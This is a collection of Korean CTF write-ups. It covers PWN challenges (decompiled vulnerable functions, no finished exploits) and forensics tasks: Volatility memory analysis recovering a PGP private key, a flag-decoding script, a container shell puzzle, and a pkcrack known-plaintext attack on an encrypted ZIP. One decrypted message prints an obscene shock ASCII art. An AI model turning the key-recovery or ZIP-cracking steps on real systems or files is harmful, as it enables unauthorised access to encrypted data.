[2016_hackover] [PWN] ping_gnop¶
Dynamic Analysis¶
$ ./ping_gnop
_ ___ _ _ ___ ___
_ __(_)_ _ __ _ / __| \| |/ _ \| _ \
| '_ \ | ' \/ _` | (_ | .` | (_) | _/
| .__/_|_||_\__, |\___|_|\_|\___/|_|
|_| |___/ simulator 3.11
o . _______ _______
\_ 0 /______//______/| @_o
/\_, /______//______/ /\
| \ | || | / |
ping> 1
pong> 1
Static Analysis¶
먼저 IDA Hexray를 이용하여 해당 프로그램의 소스를 확인해보면 다음과 같습니다.
int play()
{
char *v0; // eax@8
char *v1; // eax@8
int result; // eax@10
char v3[512]; // [sp+Bh] [bp-23Dh]@1
char v4; // [sp+20Bh] [bp-3Dh]@10
char v5; // [sp+22Bh] [bp-1Dh]@8
char *s; // [sp+22Ch] [bp-1Ch]@1
int v7; // [sp+230h] [bp-18h]@1
char *v8; // [sp+234h] [bp-14h]@7
char *v9; // [sp+238h] [bp-10h]@7
char *i; // [sp+23Ch] [bp-Ch]@1
v7 = 322423550;
printf("ping> ");
_isoc99_scanf("%511s", v3);
s = (char *)&unk_80BCEC8;
for ( i = v3; *i; ++i )
{
if ( strchr(s, *i) )
{
puts("(겸뼞째)링 삘봺);
exit(-1);
}
}
v9 = v3;
v8 = &v3[strlen(v3) - 1];
while ( v9 < v8 )
{
v5 = *v9;
v0 = v9++;
*v0 = *v8;
v1 = v8--;
*v1 = v5;
}
printf("pong> %s\n\n");
result = j_strcpy(&v4, v3);
if ( v7 != 322423550 )
{
puts("(겸뼞째)링 삘봺);
exit(-1);
}
return result;
}
[2016_hackover] [PWN] tiny_backdoor_v1¶
Static Analysis¶
먼저 IDA Hexray를 이용하여 해당 프로그램의 소스를 확인해보면 다음과 같습니다.
int __fastcall sub_4000F9(_BYTE *a1, __int64 a2, unsigned __int64 a3, unsigned __int64 a4)
{
unsigned __int64 v4; // r9@1
__int64 v5; // r10@1
unsigned __int64 v6; // rsi@1
unsigned __int64 v7; // r8@1
__int64 v8; // rcx@1
v4 = a4;
v5 = a2;
v6 = a3;
v7 = 0LL;
v8 = 0LL;
while ( v8 != v5 )
{
a1[v8] ^= *(_BYTE *)(v6 + v7);
v8 = (unsigned int)(v8 + 1);
a3 = (v7 + 1) % v4;
v7 = (v7 + 1) % v4;
}
return ((int (__fastcall *)(_BYTE *, unsigned __int64, unsigned __int64, __int64, unsigned __int64, unsigned __int64))a1)(
a1,
v6,
a3,
v8,
v7,
v4);
}
[2016_hitcon] [PWN] Secret Holder¶
문제 내용¶
Break the Secret Holder and find the secret. nc 52.68.31.117 5566 SecretHolder
프로그램 실행 시 3가지 선택 메뉴와 함께 다음과 같은 화면이 나온다.
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
- Keep secret을 선택할 경우 다음과 같은 화면이 나온다.
Which level of secret do you want to keep?
1. Small secret
2. Big secret
3. Huge secret
- wipe secret을 선택할 경우 다음과 같은 화면이 나온다.
Which Secret do you want to wipe?
1. Small secret
2. Big secret
3. Huge secret
- Renew secret을 선택할 경우 다음과 같은 화면이 나온다.
Which Secret do you want to renew?
1. Small secret
2. Big secret
3. Huge secret
FORENSIC¶
[2012_defcon] [Forensic] forensic400¶
메모리 덤프 파일 정보 확인¶
(실행 화면 시간이 꽤 걸리기에 정지 화면인 줄 착각할 수 있습니다. -d 옵션을 주면 디버깅 화면까지 나와서 좀 덜지루합니다.)
$ vol.py imageinfo -f memory.dmp
Volatility Foundation Volatility Framework 2.5
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP0x86, Win7SP1x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/joizel/memory.dmp)
PAE type : PAE
DTB : 0x185000L
KDBG : 0x82948c28L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0x82949c00L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2012-05-28 02:57:03 UTC+0000
Image local date and time : 2012-05-27 22:57:03 -0400
프로세스 정보 확인¶
위에서 나온 프로파일이 윈도우이므로, pslist로 프로세스 정보에 대해 확인합니다.
$ vol.py pslist --profile=Win7SP0x86 -f memory.dmp
Volatility Foundation Volatility Framework 2.5
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
[......중략......]
0x8494dd40 rundll32.exe 3916 3440 2 84 1 0 2012-05-28 02:36:37 UTC+0000
0x8494ed40 chrome.exe 3924 3440 6 209 1 0 2012-05-28 02:36:37 UTC+0000
0x8495d508 chrome.exe 4004 3440 6 124 1 0 2012-05-28 02:36:41 UTC+0000
0x85716d40 thunderbird.ex 2372 2176 36 432 1 0 2012-05-28 02:47:24 UTC+0000 <-- suspicious process
0x849e2540 gpg.exe 2804 2372 0 -------- 1 0 2012-05-28 02:50:29 UTC+0000 2012-05-28 02:50:29 UTC+0000
0x84a16168 gpg-connect-ag 3616 2372 0 -------- 1 0 2012-05-28 02:50:29 UTC+0000 2012-05-28 02:50:34 UTC+0000
0x84a25d40 gpg-agent.exe 4036 3128 1 72 1 0 2012-05-28 02:50:30 UTC+0000
0x848a8d40 gpg.exe 2360 2372 0 -------- 1 0 2012-05-28 02:54:56 UTC+0000 2012-05-28 02:54:56 UTC+0000
0x84a25030 gpg.exe 2464 2372 0 -------- 1 0 2012-05-28 02:54:56 UTC+0000 2012-05-28 02:54:56 UTC+0000
0x84965c90 pinentry.exe 3284 4036 0 -------- 1 0 2012-05-28 02:55:03 UTC+0000 2012-05-28 02:55:13 UTC+0000
0x84863030 svchost.exe 2872 492 4 40 0 0 2012-05-28 02:55:09 UTC+0000
0x85709d40 pinentry.exe 2904 4036 0 -------- 1 0 2012-05-28 02:55:13 UTC+0000 2012-05-28 02:55:15 UTC+0000
0x8491e738 pinentry.exe 3252 4036 0 -------- 1 0 2012-05-28 02:55:15 UTC+0000 2012-05-28 02:55:24 UTC+0000
0x84a27af0 pinentry.exe 1856 4036 0 -------- 1 0 2012-05-28 02:55:43 UTC+0000 2012-05-28 02:55:55 UTC+0000
0x849bc030 gpg.exe 2404 2372 0 -------- 1 0 2012-05-28 02:56:03 UTC+0000 2012-05-28 02:56:03 UTC+0000
0x849ea8c0 pinentry.exe 1168 4036 0 -------- 1 0 2012-05-28 02:56:10 UTC+0000 2012-05-28 02:56:18 UTC+0000
0x848636b8 pinentry.exe 3816 4036 0 -------- 1 0 2012-05-28 02:56:18 UTC+0000 2012-05-28 02:56:22 UTC+0000
0x848e1030 pinentry.exe 668 4036 0 -------- 1 0 2012-05-28 02:56:22 UTC+0000 2012-05-28 02:56:23 UTC+0000
0x84997778 pinentry.exe 2576 4036 0 -------- 1 0 2012-05-28 02:56:23 UTC+0000 2012-05-28 02:56:27 UTC+0000
0x84a22a38 pinentry.exe 3692 4036 0 -------- 1 0 2012-05-28 02:56:27 UTC+0000 2012-05-28 02:56:30 UTC+0000
0x849fb620 pinentry.exe 3868 4036 0 -------- 1 0 2012-05-28 02:56:30 UTC+0000 2012-05-28 02:56:32 UTC+0000
수상한 프로세스 덤프¶
무언가 뒷부분에 gpg-agent(4036)와 thunderbird(2372)가 수상합니다. thunderbird는 mozilla에 의해 제작된 메일 관리 프로그램입니다. (저도 사용 중입니다.)
수상한 프로세스를 pid로 따로 덤프를 떠 확인합니다.
$ vol.py --profile=Win7SP0x86 -f memory.dmp -p 2372 memdump -D out/
Volatility Foundation Volatility Framework 2.5
************************************************************************
Writing thunderbird.ex [ 2372] to 2372.dmp
$ vol.py --profile=Win7SP0x86 -f memory.dmp -p 4036 memdump -D out/
Volatility Foundation Volatility Framework 2.5
************************************************************************
Writing gpg-agent.exe [ 4036] to 4036.dmp
덤프 파일 분석¶
위에는 명확한 과정이라고 한다면, 여기서부터는 약간의 추론이 들어가는 거 같습니다. 일단 메일 프로그램을 덤프뜬거니까 메일 내용 중에 ctf key값이 있을 것이라는 추측과 그 메일이 gpg로 암호화되어 있을 테니 pgp key로 복호화해야된다는 추측? 일단 이 대회가 defcon이니 strings로 2372.dmp에 defcon을 검색해봅니다.
$ strings out/2372.dmp |grep -n "defcon"
143015:"Poseidon (defcon ctf quals key) <poseidon.ddtek@gmail.com>"
143027: "Poseidon (defcon ctf quals key) <poseidon.ddtek@gmail.com>"
202193:[GNUPG:] USERID_HINT B2B1A673D7A51CC5 Poseidon (defcon ctf quals key) <poseidon.ddtek@gmail.com>
226203: "Poseidon (defcon ctf quals key) <poseidon.ddtek@gmail.com>"
227648: "Poseidon (defcon ctf quals key) <poseidon.ddtek@gmail.com>"
왠지 메일 제목인듯 보입니다. 그럼 메일 제목 주위 내용들을 한 번 살펴보겠습니다.
$ strings out/2372.dmp |grep -n "Poseidon (defcon ctf quals key) <poseidon.ddtek@gmail.com>" -B 5
143022-[GNUPG:] GOOD_PASSPHRASE
143023-[GNUPG:] ENC_TO 21877E7CEC1B51DB 1 0
143024-gpg: encrypted with RSA key, ID EC1B51DB
143025-[GNUPG:] NO_SECKEY 21877E7CEC1B51DB
143026-gpg: encrypted with 1024-bit RSA key, ID D7A51CC5, created 2012-05-26
143027: "Poseidon (defcon ctf quals key) <poseidon.ddtek@gmail.com>"
위에서 예상한 바와 같이 gpg를 이용해 암호화를 진행한 것 같습니다. 그렇다면 gpg-agent 덤프 파일에 "PGP MESSAGE" 값이 있는지 찾아봅시다.
$ strings out/4036.dmp |grep '\-----BEGIN PGP MESSAGE-----' -A 22
[......중략.......]
-----BEGIN PGP MESSAGE-----
Charset: ISO-8859-1
hIwDsrGmc9elHMUBA/9aYQWeLQ9tSBdFK9mNKNZKuJ5KbTNtt4irHXnxqDXhFTgW
j77y3oFg6v1MKiEFqVJY1dBsmVYVa6N9pL/hJ5jZswSng6j8bZAGj1DxVobgoSDR
lwXC/UGatkCrB20TvUMlMUgiz3lKFiqwtQBkhvOgAc+NUVpnoyOCkItqx+RV0IUB
DAMhh3587BtR2wEIAMb9yaOBY17hSr01i4594PYBZlW1P4fdQgoK+DskDQRFoYeQ
YFlaR1v0pjTGYz8imFF2KVVym83MRElU/BirXavWaWN3oIIROePp82KgnVKUcoKi
pfFhw5hnHchkhlo4AateQgHBOibknzfZ38jUyqAoY75k5RV42IfZlAlgizSaGdfs
gZKeeBSkPTH0GEbvDh116PCZEtP3eY7WpbZ+meSp2kooXZ2qjWF6O84BE6YeguDd
r5cD5AzkwSpV4kjt9tWZCC0o/eUDZ2yXb1PLYrppdX9kChw+Xc6nkp7nJwvARQNv
o4vAPwP2iibPcttTqsNgRvPUmUstM3Xr20D/sk7SewHWQlEuKSWyMyTdWKNwSU82
MxBcDAODNV1Wju7q8KYYdfPcPXgsIHF0MNPCKnX6J6gyf9H45ERMsPzWGKnJQaIJ
gJQLWPUi6pnqOqf+c68JuINTOmhv7W9XyfyNKEHb/zYcZtF46dK8xYSjyIHzR14E
uzHweaqnPPHo4w==
=x441
-----END PGP MESSAGE-----sensitive, do not share"vulcan.ddtek" <vulcan.ddtek@gmail.com> Poseidon <poseidon.ddtek@gmail.com>
다음 출력을 통해 여러가지 메세지들이 보이는데 그 중에 sensitive, do not share 라고 말미에 적혀있는 것이 보입니다. 왠지 이 메시지에 key가 들어있는 메시지인거 같습니다.
그럼 이제 private key를 찾으면 됩니다.
라이트업을 보니 찾는 방식이 2가지가 있습니다.
- public key의 RSA n 값 hex search로 검색하는 방식
- "(defcon ctf quals key)" string search로 검색하는 방식
(1)번 방식을 하기 위해 일단 public key를 찾아보았습니다.
$ strings memory.dmp |grep -n 'PUBLIC KEY'
893504:-----BEGIN PGP PUBLIC KEY BLOCK-----
893522:-----END PGP PUBLIC KEY BLOCK-----
2313423:BEGIN PGP PUBLIC KEY BLOCK
2313430:END PGP PUBLIC KEY BLOCK
$ strings memory.dmp|sed -n '893504,893522p'
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.17 (MingW32)
mI0ET8EtUQEEANXfPR5qcpm+37qy9dKrREx0vYtzzBQR7178Shg9RwEnJGpshFoq
i2/xmtCfa1LuAXTuI89yE1Iv4YrmQ3DHw0oLBVUi5FqQUVrqY8UaAEptJR+i9Hh+
IDhMOcP0SfkDS9fMHQ5HCgqwpkgP0MuY1XuNyx42BtGlBIDhxsPpCr6pABEBAAG0
OlBvc2VpZG9uIChkZWZjb24gY3RmIHF1YWxzIGtleSkgPHBvc2VpZG9uLmRkdGVr
QGdtYWlsLmNvbT6IvgQTAQIAKAUCT8EtUQIbIwUJACeNAAYLCQgHAwIGFQgCCQoL
BBYCAwECHgECF4AACgkQZP3N4PucaV5/ZQP/VpSiXViw/x6dWww+4/PP8orn54z0
4B2+OVCj7BOzxIUQHYl+hZmmRs3lA/ndugpz4MZ4FPitYZFqw0rZVZ+di5UxO0xq
tURPGieyIkwOWV3HhsCK2FCQMTLWZWzbxgXFVoPJJjemiPLcAnY7xCSydi6XI2Dj
E4IX1zbF/rLo89e4jQRPwS1RAQQAxdP8WNMW+iXIxf9m5ekTV3JtK1G8MvZ7xvNP
jNl4n1V9GgXyCr9MR0aLibKYcxXpzRQ3GF7s2Cj3IxoXVT6kscHCh0malnWxFITP
siVGX+7v2YOIiaqIDLewOhh456Tg6QCJmGb/icazT0oHICNppTMs+NXqH2u+AGiO
KFMIuoUAEQEAAYilBBgBAgAPBQJPwS1RAhsMBQkAJ40AAAoJEGT9zeD7nGleHG4E
AJ5iyDGAo7ikY0PEm2h+xdzRfNWxKcbkiVJR6W6kxr/HUZ+5XqPP3g59DwTcJZ3q
ohdCaaqGkkCGvTart1GNs6ldGZ+J1SSlfXhVl8jbve8NidyZh5Mrxle0Y3lcmvDM
M/L88kLcIG0mMr+mULg/IJSjerPjVWrplZVgAz6aZKLC
=3D811y
-----END PGP PUBLIC KEY BLOCK-----
찾은 public key를 가지고 pgpdump를 통해 RSA n값을 찾고, RSA n값을 hex search를 진행합니다.
$ sudo pgpdump -i pubkey
Old: Public Key Packet(tag 6)(141 bytes)
Ver 4 - new
Public key creation time - Sun May 27 04:21:53 KST 2012
Pub alg - RSA Encrypt or Sign(pub 1)
RSA n(1024 bits) - d5 df 3d 1e 6a 72 99 be df ba b2 f5 d2 ab 44 4c 74 bd 8b 73 cc 14 11 ef 5e fc 4a 18 3d 47 01 27 24 6a 6c 84 5a 2a 8b 6f f1 9a d0 9f 6b 52 ee 01 74 ee 23 cf 72 13 52 2f e1 8a e6 43 70 c7 c3 4a 0b 05 55 22 e4 5a 90 51 5a ea 63 c5 1a 00 4a 6d 25 1f a2 f4 78 7e 20 38 4c 39 c3 f4 49 f9 03 4b d7 cc 1d 0e 47 0a 0a b0 a6 48 0f d0 cb 98 d5 7b 8d cb 1e 36 06 d1 a5 04 80 e1 c6 c3 e9 0a be a9
RSA e(17 bits) - 01 00 01
써칭 결과 3개의 pgp 키가 존재하는 데, 2개는 바이너리 형식에 public 키이고, 나머지 하나가 바로 private key입니다.
private key를 import 하고 위의 pgp 메시지를 복호화하면 key가 나옵니다.
$ sudo gpg --import testkey
gpg: WARNING: unsafe ownership on configuration file `/home/joizel/.gnupg/gpg.conf'
gpg: key FB9C695E: secret key imported
gpg: key FB9C695E: "Poseidon (defcon ctf quals key) <poseidon.ddtek@gmail.com>" not changed
gpg: Total number processed: 1
gpg: unchanged: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
$ sudo gpg -d 1.txt
gpg: WARNING: unsafe ownership on configuration file `/home/joizel/.gnupg/gpg.conf'
gpg: NOTE: secret key D7A51CC5 expired at Tue 26 Jun 2012 04:21:53 AM KST
gpg: encrypted with RSA key, ID EC1B51DB
gpg: encrypted with 1024-bit RSA key, ID D7A51CC5, created 2012-05-26
"Poseidon (defcon ctf quals key) <poseidon.ddtek@gmail.com>"
* g o a t s e x * g o a t s e x * g o a t s e x *
g g
o / \ \ / \ o
a| | \ | | a
t| `. | | : t
s` | | \| | s
e \ | / / \\\ --__ \\ : e
x \ \/ _--~~ ~--__| \ | x
* \ \_-~ ~-_\ | *
g \_ \ _.--------.______\| | g
o \ \______// _ ___ _ (_(__> \ | o
a \ . C ___) ______ (_(____> | / a
t /\ | C ____)/ \ (_____> |_/ t
s / /\| C_____) | (___> / \ s
e | ( _C_____)\______/ // _/ / \ e
x | \ |__ \\_________// (__/ | x
* | \ \____) `---- --' | *
g | \_ ___\ /_ _/ | g
o | / | | \ | o
a | | / \ \ | a
t | / / | | \ |t
s | / / \__/\___/ | |s
e | / | | | |e
x | | | | | |x
* g o a t s e x * g o a t s e x * g o a t s e x *
$ sudo gpg -d 2.txt
gpg: WARNING: unsafe ownership on configuration file `/home/joizel/.gnupg/gpg.conf'
gpg: NOTE: secret key D7A51CC5 expired at Tue 26 Jun 2012 04:21:53 AM KST
gpg: encrypted with RSA key, ID EC1B51DB
gpg: encrypted with 1024-bit RSA key, ID D7A51CC5, created 2012-05-26
"Poseidon (defcon ctf quals key) <poseidon.ddtek@gmail.com>"
the key is: as it turns out, Phil Zimmermann also likes sheep.
[2013_asisctf] [Forensic] memdump¶
메모리 덤프 파일 정보 확인¶
메모리 덤프 파일의 정보를 확인합니다.
리눅스 메모리 덤프의 경우 volatility의 imageinfo로 확인을 하게 되면 시간도 오래걸리고, 만약 profile에 해당 이미자가 없을 수 있기 때문에 다음 명령으로 확인을 합니다.
$ strings ~/out2/mem.dump | egrep '^Linux.*[0-9.]{3,}.*SMP'
Linux version 3.5.0-23-generic (buildd@komainu) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) ) #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 (Ubuntu 3.5.0-23.35~precise1-generic 3.5.7.2)
Linux version 3.5.0-23-generic (buildd@komainu) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) ) #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 (Ubuntu 3.5.0-23.35~precise1-generic 3.5.7.2)
프로세스 정보 확인¶
위에서 나온 프로파일이 윈도우이므로, pslist로 프로세스 정보에 대해 확인합니다.
$ python vol.py linux_psaux --profile=LinuxUbuntu1210x64 -f ~/out2/mem.dump
Volatility Foundation Volatility Framework 2.5
Pid Uid Gid Arguments
[......중략......]
816 0 0 acpid -c /etc/acpi/events -s /var/run/acpid.socket
819 0 0 cron
820 0 0 atd
837 0 1000 /bin/login --
967 1000 1000 -bash
8111 0 0 /sbin/udevd --daemon
8112 0 0 /sbin/udevd --daemon
9425 1000 1000 ./asis-ctf <-- suspicious process
15584 1000 1000 nano print.cpp
15629 0 0 [kworker/0:0]
16346 0 0 /usr/sbin/apache2 -k start
16349 33 33 /usr/sbin/apache2 -k start
16350 33 33 /usr/sbin/apache2 -k start
16351 33 33 /usr/sbin/apache2 -k start
16783 0 0 [kworker/0:1]
16784 0 0 [kworker/0:2]
수상한 프로세스 덤프¶
여기서는 uid와 gid가 1000인 pid가 9425 asisctf가 보이네요. 덤프떠봅시다.
수상한 프로세스를 pid로 따로 덤프를 떠 확인합니다.
$ sudo python vol.py --profile=LinuxUbuntu1210x64 -f ~/out2/mem.dump -p 9425 linux_dump_map -D .
Volatility Foundation Volatility Framework 2.5
Task VM Start VM End Length Path
---------- ------------------ ------------------ ------------------ ----
9425 0x0000000000400000 0x0000000000401000 0x1000 ./task.9425.0x400000.vma
9425 0x0000000000600000 0x0000000000601000 0x1000 ./task.9425.0x600000.vma
9425 0x0000000000601000 0x0000000000602000 0x1000 ./task.9425.0x601000.vma
9425 0x00007fd496e34000 0x00007fd496fe9000 0x1b5000 ./task.9425.0x7fd496e34000.vma
9425 0x00007fd496fe9000 0x00007fd4971e8000 0x1ff000 ./task.9425.0x7fd496fe9000.vma
9425 0x00007fd4971e8000 0x00007fd4971ec000 0x4000 ./task.9425.0x7fd4971e8000.vma
9425 0x00007fd4971ec000 0x00007fd4971ee000 0x2000 ./task.9425.0x7fd4971ec000.vma
9425 0x00007fd4971ee000 0x00007fd4971f3000 0x5000 ./task.9425.0x7fd4971ee000.vma
9425 0x00007fd4971f3000 0x00007fd497215000 0x22000 ./task.9425.0x7fd4971f3000.vma
9425 0x00007fd497408000 0x00007fd49740b000 0x3000 ./task.9425.0x7fd497408000.vma
9425 0x00007fd497411000 0x00007fd497415000 0x4000 ./task.9425.0x7fd497411000.vma
9425 0x00007fd497415000 0x00007fd497416000 0x1000 ./task.9425.0x7fd497415000.vma
9425 0x00007fd497416000 0x00007fd497418000 0x2000 ./task.9425.0x7fd497416000.vma
9425 0x00007fff62ff0000 0x00007fff63012000 0x22000 ./task.9425.0x7fff62ff0000.vma
9425 0x00007fff63048000 0x00007fff63049000 0x1000 ./task.9425.0x7fff63048000.vma
덤프 파일 분석¶
file명령으로 확인해보니 truncated 된 파일이 존재하는데, IDA pro에서 바이너리 형식으로 열어보겠습니다.
$ file *
task.9425.0x400000.vma: data
task.9425.0x600000.vma: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), stripped
task.9425.0x601000.vma: data
task.9425.0x7fd496e34000.vma: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), stripped
task.9425.0x7fd496fe9000.vma: data
task.9425.0x7fd4971e8000.vma: data
task.9425.0x7fd4971ec000.vma: data
task.9425.0x7fd4971ee000.vma: data
task.9425.0x7fd4971f3000.vma: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped
task.9425.0x7fd497408000.vma: AmigaOS bitmap font
task.9425.0x7fd497411000.vma: data
task.9425.0x7fd497415000.vma: data
task.9425.0x7fd497416000.vma: data
task.9425.0x7fff62ff0000.vma: data
task.9425.0x7fff63048000.vma: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=30a64f87863f905f75134416f658d8817843cfb5, stripped
$ objdump -D ./task.9425.0x600000.vma
objdump: ./task.9425.0x600000.vma: File truncated
내용을 뒤지다 보니 다음과 같이 문자열을 저장하는 명령이 보이고 문자열 입력 값이 보입니다.

이 입력값을 계산하는 부분은 다음과 같습니다.
(여기서 [rbp+var_A4] 부분이 for문에 들어가는 변수 i라고 보면 되겠습니다.)
mov [rbp+var_A4], 0 ; i=0
jmp short loc_893
loc_867:
mov eax, [rbp+var_A4] ; eax = i
add eax, eax ; i = i+i = 2*i
cdqe
movzx eax, byte ptr [rbp+rax+var_A0] ; 문자열 가져옴 table[i]
movsx eax, al
sub eax, [rbp+var_A4] ; -i
sub eax, 1 ; -1
mov edi, eax
call sub_500 ; 출력 함수인것으로 유추
add [rbp+var_A4], 1 ; i = i +1
loc_893:
cmp [rbp+var_A4], 36 ; i = 36 일때 까지 for문
setle
test al, al
jnz short loc_867
계산 하는 부분을 python으로 코딩해서 풀어봅시다.
table_s = """42 49 55 52 4c 41 57 4e 64 5f 69 37 69 31 3e 63
6b 65 6c 33 3b 34 3d 65 3f 65 6f 63 47 31 75 36
72 66 42 62 4a 65 75 39 49 66 48 34 4d 32 4a 34
4e 37 4e 32 4d 35 55 65 50 37 82 32 84 61 52 35
83 39 85 61 53 34 89 39 8b 64 26"""
table = []
for c in table_s.replace("\n", " ").split(" "):
n = int("0x" + c, 16)
table.append(n)
flag = ""
for i in range(0,37):
a = 2 * i
c = table[a] - i - 1
flag += chr(c)
print flag
[2015_hitcon] [Forensic] Piranha Gun¶
일단 nc로 접속해보니 root 쉘이 하나 떨어집니다.
$ nc 54.178.235.243 10004
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
폴더 안을 보니 README라는 파일이 하나 있네요.
$ ls
ls
README
파일을 보니 Piranha Gum은 jungle.chest에서 찾을 수 있다고 합니다.
$ cat README
cat README
The Piranha Gun can be found in "jungle.chest".
프로세스를 확인하려고 보니 다음과 같이 마운트를 하라고 합니다.
$ ps aux
ps aux
Error, do this: mount -t proc proc /proc
마운트를 한 후 다시 프로세스를 확인해보니 정상적으로 프로세스가 나오는데 특별한 점은 없어 보입니다.
$ mount -t proc proc /proc
mount -t proc proc /proc
$ ps aux
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2116 56 ? S 00:17 0:00 wrapper root 0 600 262144 /home/PiranhaGun /bin/bash -i
root 2 0.0 0.0 18196 3300 ? S 00:17 0:00 /bin/bash -i
root 16 0.0 0.0 15572 2092 ? R 00:18 0:00 ps aux
시스템 mount 정보에 대해 확인을 위해 proc/mounts를 보니 뭔가 chest라는 폴더에 mount가 걸려있는게 보입니다.
$ cat /proc/mounts
cat /proc/mounts
/dev/disk/by-uuid/2ed4c374-2ddb-4a75-af24-98df753dbf6d / ext4 rw,relatime,discard,data=ordered 0 0
udev /dev devtmpfs rw,relatime,size=15702768k,nr_inodes=3925692,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,nosuid,noexec,relatime,size=3141528k,mode=755 0 0
none /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0
none /run/shm tmpfs rw,nosuid,nodev,relatime 0 0
none /run/user tmpfs rw,nosuid,nodev,noexec,relatime,size=102400k,mode=755 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
none /sys/fs/cgroup tmpfs rw,relatime,size=4k,mode=755 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/cpu cgroup rw,relatime,cpu 0 0
cgroup /sys/fs/cgroup/cpuacct cgroup rw,relatime,cpuacct 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,relatime,memory 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,relatime,devices 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,relatime,freezer 0 0
cgroup /sys/fs/cgroup/net_cls cgroup rw,relatime,net_cls 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,relatime,blkio 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/net_prio cgroup rw,relatime,net_prio 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,relatime,hugetlb 0 0
systemd /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,name=systemd 0 0
none /sys/fs/fuse/connections fusectl rw,relatime 0 0
none /sys/kernel/debug debugfs rw,relatime 0 0
none /sys/kernel/security securityfs rw,relatime 0 0
none /sys/fs/pstore pstore rw,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
/dev/disk/by-uuid/2ed4c374-2ddb-4a75-af24-98df753dbf6d /chest ext4 rw,relatime,discard,data=ordered 0 0
proc /proc proc rw,nodev,relatime 0 0
chest 폴더에 디렉토리가 아무것도 없는 데 umount로 마운트를 해제해보니 jungle.chest 파일이 있네요. -.-;;
$ ls /chest
ls /chest
$ umount /chest
umount /chest
$ ls -al /chest
ls -al /chest
total 12
drwxr-xr-x 2 nobody nogroup 4096 Oct 16 13:31 .
drwxr-xr-x 23 nobody nogroup 4096 Oct 16 13:29 ..
-rw-r--r-- 1 nobody nogroup 42 Oct 16 13:08 jungle.chest
파일을 보면 정답이 나오네요.
$ cat /chest/jungle.chest
cat /chest/jungle.chest
[2015_seccon] [Forensic] Unzip the file¶
pkcrack 을 이용한 패스워드 크랙
- 압축하기 이 전 원본 파일을 찾는다.
- 원본 파일과 압축된 파일을 비교하여 key값을 찾는다.
- key값을 이용하여 압축을 푼 파일을 찾는다.
$ unzip -v unzip.zip
Archive: unzip.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
14182 Defl:N 5288 63% 2015-11-30 16:23 30b7a083 backnumber08.txt
12064 Defl:N 4839 60% 2015-11-30 16:22 b93d9a46 backnumber09.txt
22560 Defl:N 11021 51% 2015-12-01 15:21 fcd63eb6 flag
-------- ------- --- -------
48806 21148 57% 3 files
$ ./pkcrack-1.2.2/src/extract unzip.zip backnumber08.txt enc.txt
$ wget http://2014.seccon.jp/mailmagazine/backnumber08.txt
$ wget http://2014.seccon.jp/mailmagazine/backnumber09.txt
$ zip enc.zip backnumber08.txt backnumber09.txt
adding: backnumber08.txt (deflated 63%)
adding: backnumber09.txt (deflated 60%)
$ ./pkcrack-1.2.2/src/extract enc.zip backnumber08.txt plain.txt
$ ./pkcrack-1.2.2/src/pkcrack -c enc.txt -p plain.txt
Files read. Starting stage 1 on Tue Nov 3 07:19:07 2015
Generating 1st generation of possible key2_5299 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 984 values at offset 970
Lowest number: 932 values at offset 969
Lowest number: 931 values at offset 967
Lowest number: 911 values at offset 966
Lowest number: 906 values at offset 965
Lowest number: 904 values at offset 959
Lowest number: 896 values at offset 955
Lowest number: 826 values at offset 954
Lowest number: 784 values at offset 606
Lowest number: 753 values at offset 206
Done. Left with 753 possible Values. bestOffset is 206.
Stage 1 completed. Starting stage 2 on Tue Nov 3 07:19:16 2015
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 5098 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 5098 bytes.
$ ./pkcrack-1.2.2/src/zipdecrypt 270293cd b1496a17 8fd0945a unzip.zip out.zip
$ unzip out.zip
[2016_seccon] [Forensic] Forensic 100¶
문제내용¶
